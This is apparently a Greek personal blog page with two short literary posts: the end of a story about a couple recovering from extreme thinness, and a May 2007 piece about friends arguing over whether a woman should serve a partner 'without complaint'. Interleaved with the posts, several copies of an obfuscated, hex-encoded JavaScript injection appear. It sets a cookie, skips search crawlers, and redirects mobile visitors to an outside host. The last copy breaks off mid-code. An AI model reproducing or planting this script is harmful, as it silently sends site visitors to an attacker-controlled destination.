Ένα μεσημέρι – το φθινόπωρο τελείωνε – βγήκα με τους συγκάτοικους να φαμε έξω σε ένα πολύ γραφικό ταβερνάκι κοντά στη Στρατού. Είχα πλέον χαρακτηριστικά σκελετωμένου και υποσιτισμένου ατόμου, που όπου πήγαινα με κοίταζαν περίεργα. Το φαγητό ήταν πολύ νόστιμο και πίεσα τον εαυτό μου να τελειώσω το πιάτο. Ενώ όλα πήγαιναν καλά, συζητούσαμε, λέγαμε διάφορα πειράγματα για κορίτσια και συμφοιτήτριές μας που μας άρεσαν και που μάλλον επειδή η σχολή τελειώνει φέτος δεν θα είχαμε το χρόνο να δοκιμάσουμε τη τύχη μας μαζί τους. Τότε μου ήρθε ο πρώτος σπασμός εμετού στο λαιμό. Μόλις και μετά βίας κατάφερα να φθάσω στη τουαλέτα. Το έβγαλα όλο το φαγητό. Δεν ήθελα να χαλάσω το κλίμα της παρέας και γύρισα σπίτι. Πρώτος όροφος, παλιά πολυκατοικία, στενάκι κάθετο στη Κασσάνδρου, κοντά στον Άγιο Δημήτριο. Μπήκα και βούρτσισα τα δόντια μου. Μετά ξάπλωσα με τα ρούχα. Με πήρε ο ύπνος σύντομα. Με ξύπνησε το κουδούνι. Μάλλον ήταν ένα κορίτσι που τα ψήνει αυτό τον καιρό με τον ένα συγκάτοικο. Δεν μπορεί οι άλλοι είχαν κλειδί και δεν θα χτυπούσαν. Άφησα ανοιχτή τη πόρτα και γύρισα στο κρεβάτι. Η γυναίκα που μπήκε στο σπίτι ήρθε κατευθείαν στο κρεβάτι μου. Είχε την ίδια φωνή όπως και στο νησάκι αλλά πιο βραχνή. Την πήρα στα χέρια μου και ήταν υπερβολικά… αδύνατη. Τη φίλησα και το στόμα της είχε τη γεύση οδοντόκρεμας. «Μα καλά πως με βρήκες; » τη ρώτησα; «Σε βρήκα» μου είπε.

Σηκωθήκαμε αργά το βράδυ. Πεινούσα υπερβολικά, το ίδιο και κείνη. Βγήκαμε και φάγαμε σάντουιτς στο πόδι. Ήταν τόσο σκελετωμένη όσο και εγώ. «Τι έπαθες;» τη ρώτησα. «Δεν ξέρω» μου είπε. «Έκανα πολύ συχνά εμετό και βούρτσιζα συνέχεια τα δόντια μου. Δεν μπορούσα να κατεβάσω μπουκιά. Ήμουν τόσο σπαστική με την οδοντόβουρτσα που δεν με άντεχε κανείς. Νόμιζα ότι το στόμα μου ήταν διαρκώς βρώμικο. Δεν ξέρω τι μου συμβαίνει. Άρχισα να χάνω βάρος. Κάποια στιγμή ήμουν ένας σκελετός. Δεν με καταλαβαίνει κανείς. Ήμουν αφηρημένη και κουρασμένη συνέχεια. Έφυγα μία μέρα από το σπίτι και δεν με αναζήτησαν. Η πρώτη και μοναδική μου σκέψη ήταν να έρθω να σε βρω.»

Από μία άποψη είχαμε πολύ πλάκα. Είμαστε δύο «σκελετοί» που όλοι μας κοιτούσαν περίεργα όπου κι αν πηγαίναμε. Η Ντέμπι έγινε ο τέταρτος συγκάτοικός μας, μαγείρευε πολύ συχνά και πολύ νόστιμα.

Αποκτήσαμε νέες συνήθειες και μία από αυτές ήταν ότι μετά το σεξ πεινούσαμε και οι δύο πάρα πολύ.

Τελικά ανακτήσαμε κάποτε το βάρος που είχαμε «αφήσει» σ’ εκείνη τη βραχονησίδα του Ιονίου και να σας πω και κάτι άλλο; Είμαστε ακόμα μαζί.

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαΐου 3, 2007

«Αγόγγυστα*»

Filed under: Uncategorized — thelastrealanwnymous @ 7 :12 πμ

(*αγόγγυστα = χωρίς γκρίνια , αδιαμαρτύρητα)

Γνωριζόμαστε πολλά χρόνια. Βγαίνουμε συνήθως το γουίκεντ. Μιλάμε για όλα . Πριν λίγες μέρες βρεθήκαμε πάλι. Εμείς οι πέντε οι βασικοί της παρέας. Ο Μπομπ ο ελληνο-αμερικανός μας, αγόρασε καινούριο καρτ . Πήγαμε να το δούμε . Μπήκαμε στη φάση να κάνουμε και δοκιμαστικό γύρο. Εγώ τα καρτ τα θεωρώ σοβαρά οχήματα  μέχρι τα 16 , μετά αν δεν «ανέβεις» κατηγορία, καλύτερα να αρχίσεις να ξαναβγάζεις ακμή και να ακούς χεβιμέταλ .

Αφού βαρέθηκα στο καρτ και τους έδειξα τις προθέσεις μου, αποφασίσαμε να πάμε στο ναυτικό όμιλο για φαγητό. Εκεί ακούσαμε ότι ο Ανδρέας χώρισε με τη Γιάννα. Εκείνη το πήρε κατάκαρδα. Του έκανε μερικές σκηνές απερίγραπτες στο σπίτι των γονιών του και στη δουλειά. Ο Ανδρέας είναι ξεροκέφαλο παιδί. Είπε «τέρμα» και το εννοεί. Τον έπιασαν οι πιο κολλητοί του από μας , αλλά δεν θέλει να ακούσει κουβέντα.

Η Γιάννα δεν έμεινε εκεί. Υπάρχει και ένα παιδί στη μέση που πριν ένα μήνα γιόρτασε τα γενέθλιά του. Είναι ο Άγγελος και έκλεισε τον πρώτο του χρόνο. Η μαμά του Αγγέλου παίρνει ηρεμιστικά για να νιώσει καλύτερα . Λίγο πριν καταρρεύσει αποφάσισε να βλέπει και ένα ψυχίατρο. 

Ο Ανδρέας ανένδοτος. Τέτοια γεγονότα όταν συμβαίνουν σε ανθρώπους που τους ξέρεις καλά σε στεναχωρούν. Να όμως που κάποιος από μας ο Πιέρ ( μισός Γάλλος από τη μητέρα του ) πήρε ύφος και είπε: «Η Γιάννα φταίει».

Και συνέχισε : «Ζούμε σε μία πρακτική εποχή . Πολλές επιλογές μας γίνονται γιατί μας βολεύουν. Αν η Γιάννα καταλάβαινε τον Αντρέα θα έπαιζε το ρόλο μιας δεύτερης γραμματείας στο σπίτι. Θα του έκανε κάποιες πρακτικές διευκολύνσεις σε προβλήματα που προκύπτουν καθημερινά. Όλοι έχουμε άγχος . Με το παραμικρό και χωρίς ιδιαίτερο λόγο ξεσπάμε. Ζούμε διαρκώς μέσα στο άγχος. Αναζητούμε με αγωνία μια  ζωή  πιο «εύκολη». Σήμερα απορρίπτεις ένα καλό σπίτι γιατί δεν έχει πάρκινγκ. Πετάς με την Ετζίαν γιατί ένας φίλος μπορεί να σου φέρει τα εισιτήρια στο γραφείο. Μένεις στην ασφαλιστική που σου δίνει προσωρινά αυτοκίνητο αν τρακάρεις»

Ζητάω δεύτερα ποτά και ξεσπάω στον Πιέρ γιατί οι άλλοι δεν μιλάνε . «Τι μαλακίες είναι αυτές;» λέω πρώτος. «Ποια γυναίκα προλαβαίνει να σου κάνει και τη γραμματέα; Η Γιάννα δουλεύει σε ναυτιλιακό γραφείο , μιλάει με όλο τον πλανήτη κάθε μέρα στο τηλέφωνο, εγώ είδα και συνέντευξή της στον «Επενδυτή» για την πορεία του πετρελαίου και να κάνει τη γραμματέα σ’ αυτό το μαλάκα ; Άντε και πήρε το χάμερ πριν από όλους μας ο τύπος και …; Ένας μαλάκας είναι . Ακόμα και τη δουλειά ο πατέρας του την κρατάει.» με κοιτάζουν αποδοκιμαστικά για το ξέσπασμά μου.  

 «Εγώ βλέπω άλλη γυναίκα στη μέση» ακούγεται ένα ψίθυρος.

Ο Πιέρ σηκώνει το χέρι επιτακτικά να τον ακούσουμε. «Θα το πω για τελευταία φορά : επειδή λίγο πολύ θ’ αρχίσουμε και ‘μεις τις «μαλακίες» – κοίταξε τον Κωνσταντίνο που ψιθύριζε πριν – και έχω μάθει ότι πήγες τη Μπέλα στους δικούς σου , το μυστικό είναι το εξής : Η γυναίκα πρέπει να είναι βολική. Να τα κάνει όλα «αγόγγυστα». Το είπα καλά; Αυτές τις μαλακίες τις λέει ο πατέρας μου όταν μιλάει σοβαρά . Αλλά σ’ αυτό συμφωνώ μαζί του : «Αγόγγυστα». »   « Αν η Γιάννα σήκωνε το τηλέφωνο ένα απόγευμα στο σπίτι για να ξεφορτωθεί ένα σπαστικό πελάτη , αν άφηνε για το καλοκαίρι  το «ντουξιάνα» (οκτώ  χιλιάρικα για ένα κρεβάτι;) , αν του είχε έτοιμο το αρμάνι  , όταν ήρθε ο ιταλός για την εισαγωγή προσούτο  … θα τον είχε δεμένο τώρα χειροπόδαρα τον Ανδρέα. Και επειδή θα την κάνετε τη μαλακία – ξανακοίταξε τον Κωνσταντίνο – ένα είναι το μυστικό : «Αγόγγυστα» . Και … προσέξτε με καλά. Δεν μιλάω για μια γυναίκα –δούλα , μιλάω για ένα πρακτικό πλάσμα , που μας ξέρει τόσο καλά και με τον τρόπο της ,δεν μας αφήνει να πνιγούμε σε μια κουταλιά νερό.» Η διάλεξη τελείωσε. Εγώ χειροκρότησα πρώτος . «τα ξέρουμε και τα δικά σου …» μου φώναξε ο Πιέρ.

 Παίρνουμε κι άλλα ποτά.

 « Με χαλάνε αυτές οι φάσεις, ήμουν στα γενέθλια.» «Ας χωρίσουν, αφού δεν πάει ας χωρίσουν , αλλά να φθάσει η Γιάννα να καταρρεύσει;» «Μίλησε κανείς με τον Ανδρέα;» «Άδικος κόπος , δεν ακούει κανέναν.»  

Αυτά άκουσα να λένε οι άλλοι . Εγώ  κοιτάζω αφηρημένος  ένα πλάσμα δίπλα  να τρώει τόσο λαίμαργα γαριδομακαρονάδα έχοντας φτιάξει ένα κόκκινο μουστάκι από σάλτσα στο χείλος της .

 Ωραίος ήλιος και ωραίος κόσμος , με πρώιμο μαύρισμα , έρχεται καλοκαίρι και δεν θα αφήσω καμία «θεωρεία» να μου διαλέξει γυναίκα.  

Που πάμε τώρα; Πάμε στη μαρίνα να δούμε το σκάφος του «πεθερού»  του Κωνσταντίνου. Ο Κωνσταντίνος φοβάται για τις μαλακίες και τα πειράγματα …ξέρεις «μικρό μου φαίνεται…», «θα στο δώσει κι αυτό μαζί με τη Μπέλλα;» και διάφορα άλλα τέτοια φιλικά «σκατάκια» που θα ακούσει .

 Ένα τελευταίο ποτό πριν φύγουμε . 

 Φθάνουμε στη μαρίνα .Ωραίο το σκάφος . Θαυμάσιο. Έχει και κάβα . Την ανακάλυψα πρώτος. Δοκιμάζω μπέρμπον με πολύ τριμμένο πάγο. Σαν αναψυκτικό πίνεται. Περνάει το απόγευμα με τσιγάρα , αρκετό ποτό και μια λέξη που μάλλον δεν θα ξεχάσω : Αγόγγυστα.

 Ξαπλώνω σ ένα καναπέ στο σκάφος .Κάνουμε κι άλλες μαλακίες μετά. Θα πιούμε κι άλλο. Γυρίζω σπίτι πολύ αργά. 

 Και τώρα ακούστε τι έπαθα: Δίπλα στο κρεβάτι μου , είναι πεταμένες στη μοκέτα δυο τρεις ποιητικές συλλογές. Έχω την έμμονη ιδέα ότι τα πολλά περιοδικά αυτοκινήτου , οι οικονομικές στήλες και τα αθλητικά καταστρέφουν το δημιουργικό τμήμα του μυαλού μου. Έχω αποφασίσει λοιπόν πριν κοιμηθώ να διαβάζω έστω και λίγη ποίηση (…κλασσικές παγκόσμιες αλήθειες)

Σηκώνω ένα χοντρό βιβλίο και διαβάζω μερικούς στίχους μόνο . Δεν θα  μπω σε περισσότερες λεπτομέρειες γιατί μόλις τώρα διαβάζοντας είχα ένα φλας : τρεις, τέσσερις από τους μεγαλύτερους ποιητές μας , που ύμνησαν τον έρωτα και την αγάπη , διάλεξαν τελικά για σύντροφο της ζωής τους μια γυναίκα , που τους ανεχόταν : «αγόγγυστα»

Καλό γουικέντ J^^var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 